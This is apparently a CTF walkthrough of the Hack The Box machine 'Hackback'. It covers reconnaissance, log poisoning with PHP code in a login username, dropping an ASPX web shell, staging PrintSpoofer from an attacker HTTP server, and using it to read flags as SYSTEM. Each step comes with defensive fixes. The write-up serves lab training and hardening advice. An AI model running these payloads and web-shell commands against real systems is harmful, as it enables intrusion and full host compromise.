J. Perez Duertojperezduerto.info
← all walkthroughs

Hackback

Windows· Insane· Privilege Escalation
owned
2026-10-17
time to own
26m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

A Windows/IIS host served a phishing-simulation setup: an admin site (admin.hackback.htb), a cloned Hack The Box login page (www.hackthebox.htb), and a Gophish console on port 64831. The admin site's private.js was rot13-encoded and obfuscated; decoding it revealed a secret directory holding webadmin.php and a weak password that unlocked it. webadmin.php displayed the phishing site's per-session log files through PHP, and the clone logged each attempted username verbatim, so submitting a login whose username was PHP code and then viewing that log executed the code.

I used this to write an ASPX web shell and gained execution as the IIS account www-data, which held SeImpersonatePrivilege. PrintSpoofer abused that privilege to run as NT AUTHORITY\SYSTEM, which read the user flag and the root flag, the latter hidden in an NTFS alternate data stream on the Administrator desktop.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export CHOSEN_PASSWORD="<a-password-you-choose>"
export HEX_ID="<a-value-you-captured-earlier>"

Some commands also carry a value in angle brackets — <log>, <tok> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceNetwork service discovery (T1046)
Scanned the host and found an unusual service set
A full TCP sweep found Microsoft IIS 10.0 on port 80 and two high ports, 6666 and 64831. The high ports signalled hosted tooling beyond a normal website. The IIS site reported ASP.NET, and a vhost response later carried X-Powered-By: PHP/7.2.7.
Open ports 80/tcp (Microsoft-IIS/10.0, ASP.NET), 6666/tcp and 64831/tcp; PHP/7.2.7 appeared on an HTTP X-Powered-By header, not the port banners.
Exact commands 2
shell

Find all open TCP ports: 80, 6666, 64831.

$ nmap -p- --min-rate=1000 $TARGET
shell

Fingerprint the services; 80 is IIS 10.0, 64831 serves Gophish.

$ nmap -sCV -p80,6666,64831 $TARGET
2EnumerationVirtual-host enumeration; exposed admin interface (T1595.002)
Found the phishing virtual hosts and the Gophish console
Different Host headers returned different sites from the same IP: an admin login at admin.hackback.htb and a cloned Hack The Box login at www.hackthebox.htb, with an HTTPS Gophish console on port 64831. The clone is a phishing lure that records login attempts; the admin site manages those captures.
Host: www.hackthebox.htb returned an HTTrack-mirrored 'Hack The Box :: Login' page; https://$TARGET:64831/ redirected to the Gophish /login.
Exact commands 2
shell

Add the discovered vhosts to local name resolution.

$ echo "$TARGET hackback.htb admin.hackback.htb www.hackthebox.htb" | sudo tee -a /etc/hosts
shell

Confirm the cloned login page (the phishing lure).

$ curl -sS --max-time 15 -i -H 'Host: www.hackthebox.htb' http://$TARGET/
FixRemove internet-facing management and phishing-tool exposureHigh
WeaknessA Gophish console on 64831, an admin management vhost, and a service on 6666 were all reachable from outside, alongside the public site.
FixBind the Gophish admin and internal tooling to localhost or a management VLAN, restrict inbound traffic with Windows Firewall to the ports the public site needs (80/443), and do not host phishing-clone content on an exposed production host.
3EnumerationInformation disclosure via obfuscated client-side script (T1592.002)
Decoded private.js to reach the log-viewer admin script
The admin vhost loaded /js/private.js, which was rot13-encoded and then obfuscated. Decoding it revealed a secret directory and webadmin.php, which lists and shows the phishing site's per-session log files. The required password was a weak value also recoverable from the script, and action=list with it returned the stored capture logs.
private.js decoded (rot13 then deobfuscated) to the path /<withheld> webadmin.php?action=list&site=hackthebox&password=$PASSWORD returned the session log files.
Exact commands 2
shell

Decode the rot13 script; deobfuscate to find the webadmin.php path and password.

$ curl -sS -H 'Host: admin.hackback.htb' http://$TARGET/js/private.js | /usr/games/rot13
shell

$PASSWORD is the weak value from private.js; action=list returns the phishing capture logs.

$ curl -sS -H 'Host: admin.hackback.htb' "http://$TARGET/$HEX_ID/webadmin.php?action=list&site=hackthebox&password=$PASSWORD&session="
FixDo not hide secrets in client-side code or protect admin tools with weak passwordsHigh
WeaknessA supposedly hidden admin path and its password were recoverable from a rot13-encoded, obfuscated JavaScript file, and the password was trivially weak.
FixTreat anything shipped to the browser as public; keep admin paths and credentials out of client-side scripts. Protect the admin tool with strong, unique authentication and MFA, and place it behind a VPN or IP allow-list.
4Initial AccessLog poisoning to PHP code execution, then web shell (CWE-94, T1505.003)
Poisoned a capture log to run PHP and dropped an ASPX web shell
webadmin.php shows a selected session log through PHP, and the clone writes each login attempt as 'Username: <value>, Password: <value>' into that log. Submitting a login to www.hackthebox.htb whose username was PHP code, then viewing that log with action=show, executed the code as the IIS PHP worker. I confirmed execution by echoing a marker and reading a file back as base64, then used file_put_contents to write an ASPX command web shell into the secret admin directory, giving an interactive channel as www-data.
A login with username=<?php ... ?> appeared in the log and its PHP ran when action=show rendered it (a marker and a base64 file read came back); file_put_contents wrote cmd.aspx, and the ASPX shell returned whoami = hackback\www-data.
Exact commands 5
shell

Fetch the clone to capture the CSRF _token and session cookie before posting.

$ curl -sS -c cj -H 'Host: www.hackthebox.htb' http://$TARGET/ -o lure.html; tok=$(grep -oP 'name="_token" value="\K[^"]+' lure.html)
shell

The failed login is written to the session log with the PHP payload as the username.

$ curl -sS -b cj -H 'Host: www.hackthebox.htb' --data-urlencode "_token=$tok" --data-urlencode 'username=<?php echo "RCE"; ?>' --data-urlencode "password=$CHOSEN_PASSWORD" --data-urlencode 'submit=Login' http://$TARGET/
shell

Rendering the poisoned log executes the PHP; the marker confirms code execution.

$ curl -sS -H 'Host: admin.hackback.htb' "http://$TARGET/$HEX_ID/webadmin.php?action=show&site=hackthebox&password=$PASSWORD&session=<log>"
shell

Write an ASPX web shell into the admin directory, then re-show the log to run the write.

$ curl -sS -b cj -H 'Host: www.hackthebox.htb' --data-urlencode "_token=$tok" --data-urlencode "username=<?php file_put_contents('C:/inetpub/wwwroot/new_phish/admin/$HEX_ID/cmd.aspx',base64_decode('$(base64 -w0 /usr/share/webshells/aspx/cmdasp.aspx)')); echo 'WROTE'; ?>" --data-urlencode "password=$CHOSEN_PASSWORD" --data-urlencode 'submit=Login' http://$TARGET/
shell

Returns hackback\www-data (include the ASPX __VIEWSTATE/__EVENTVALIDATION fields from a prior GET).

$ curl -sS -H 'Host: admin.hackback.htb' --data-urlencode 'txtArg=whoami' --data-urlencode 'testing=excute' http://$TARGET/$HEX_ID/cmd.aspx
hackback\www-data
FixNever render capture logs as code, and lock down the web write pathsCritical
Weaknesswebadmin.php displayed externally controlled log contents through PHP, so a poisoned username executed as code, and the IIS worker could write files into web-served directories, allowing an ASPX web shell.
FixTreat log contents as untrusted data: display them as text, never include or evaluate them. Store captures outside any script-executing path, deny write access to web roots for the application pool, and disable script execution in upload/content directories.
5Privilege EscalationSeImpersonate abuse via PrintSpoofer (T1134.001)
Abused SeImpersonatePrivilege with PrintSpoofer to run as SYSTEM
The www-data service account held SeImpersonatePrivilege (whoami /all). PrintSpoofer leverages that privilege through the Print Spooler to obtain a SYSTEM token and run a command with CreateProcessAsUser. I uploaded PrintSpoofer64.exe through the web shell and ran it with -c, which executed as NT AUTHORITY\SYSTEM.
Whoami /all showed SeImpersonatePrivilege; PrintSpoofer64.exe reported 'Found privilege: SeImpersonatePrivilege' and 'CreateProcessAsUser() OK', and a staged whoami /all run through it returned nt authority\system.
Exact commands 3
shell

Confirms SeImpersonatePrivilege is enabled for www-data.

$ curl -sS -H 'Host: admin.hackback.htb' --data-urlencode 'txtArg=whoami /all' --data-urlencode 'testing=excute' http://$TARGET/$HEX_ID/cmd.aspx
shell

Stage PrintSpoofer64.exe to a writable path via the same log-poisoning write (serve it with python3 -m http.server 8000).

$ curl -sS -H 'Host: www.hackthebox.htb' --data-urlencode '_token=<tok>' --data-urlencode "username=<?php \$d=file_get_contents('http://$ATTACKER_IP:8000/PrintSpoofer64.exe'); file_put_contents('C:/Windows/System32/spool/drivers/color/PrintSpoofer64.exe',\$d); echo 'OK'; ?>" --data-urlencode "password=$CHOSEN_PASSWORD" --data-urlencode 'submit=Login' http://$TARGET/
shell

PrintSpoofer runs the command as SYSTEM; the staged file reads back nt authority\system.

$ curl -sS -H 'Host: admin.hackback.htb' --data-urlencode 'txtArg=C:\Windows\System32\spool\drivers\color\PrintSpoofer64.exe -c "cmd /c whoami > C:\ProgramData\sys.txt" & type C:\ProgramData\sys.txt' --data-urlencode 'testing=excute' http://$TARGET/$HEX_ID/cmd.aspx
FixRemove SeImpersonatePrivilege from the web service accountCritical
WeaknessThe IIS worker account held SeImpersonatePrivilege, which PrintSpoofer abused to obtain a SYSTEM token and take full control of the host.
FixRun the application pool under a least-privilege identity without SeImpersonate/SeAssignPrimaryToken where feasible, keep Windows patched, and monitor for named-pipe impersonation and Print Spooler abuse. Disable the Print Spooler service if it is not required.
6Full CompromiseData from local system, including an NTFS alternate data stream (T1005, T1564.004)
Read the user flag and the ADS-hidden root flag as SYSTEM
As SYSTEM I read user.txt from the hacker user's desktop. The Administrator desktop held root.txt whose real flag was stored in an NTFS alternate data stream, root.txt:flag.txt, visible only with a /r directory listing. Reading the stream with 'more <' returned the root flag. Commands were staged to files because PrintSpoofer runs a command rather than returning a live console.
Dir /a /r C:\Users\hacker\Desktop showed user.txt (read as SYSTEM); dir /a /r C:\Users\Administrator\Desktop showed 'root.txt:flag.txt:$DATA'.
Exact commands 3
shell

Read user.txt as SYSTEM via a staged file (<user.txt>).

$ curl -sS -H 'Host: admin.hackback.htb' --data-urlencode 'txtArg=C:\Windows\System32\spool\drivers\color\PrintSpoofer64.exe -c "cmd /c type C:\Users\hacker\Desktop\user.txt > C:\ProgramData\u.txt" & type C:\ProgramData\u.txt' --data-urlencode 'testing=excute' http://$TARGET/$HEX_ID/cmd.aspx
shell

The /r listing reveals the alternate data stream root.txt:flag.txt.

$ curl -sS -H 'Host: admin.hackback.htb' --data-urlencode 'txtArg=C:\Windows\System32\spool\drivers\color\PrintSpoofer64.exe -c "cmd /c dir /a /r C:\Users\Administrator\Desktop > C:\ProgramData\d.txt" & type C:\ProgramData\d.txt' --data-urlencode 'testing=excute' http://$TARGET/$HEX_ID/cmd.aspx
shell

Read the ADS to recover the root flag (<root.txt>).

$ curl -sS -H 'Host: admin.hackback.htb' --data-urlencode 'txtArg=C:\Windows\System32\spool\drivers\color\PrintSpoofer64.exe -c "cmd /c more < C:\Users\Administrator\Desktop\root.txt:flag.txt > C:\ProgramData\r.txt" & type C:\ProgramData\r.txt' --data-urlencode 'testing=excute' http://$TARGET/$HEX_ID/cmd.aspx

Exposed services

80/tcp
6666/tcp
64831/tcp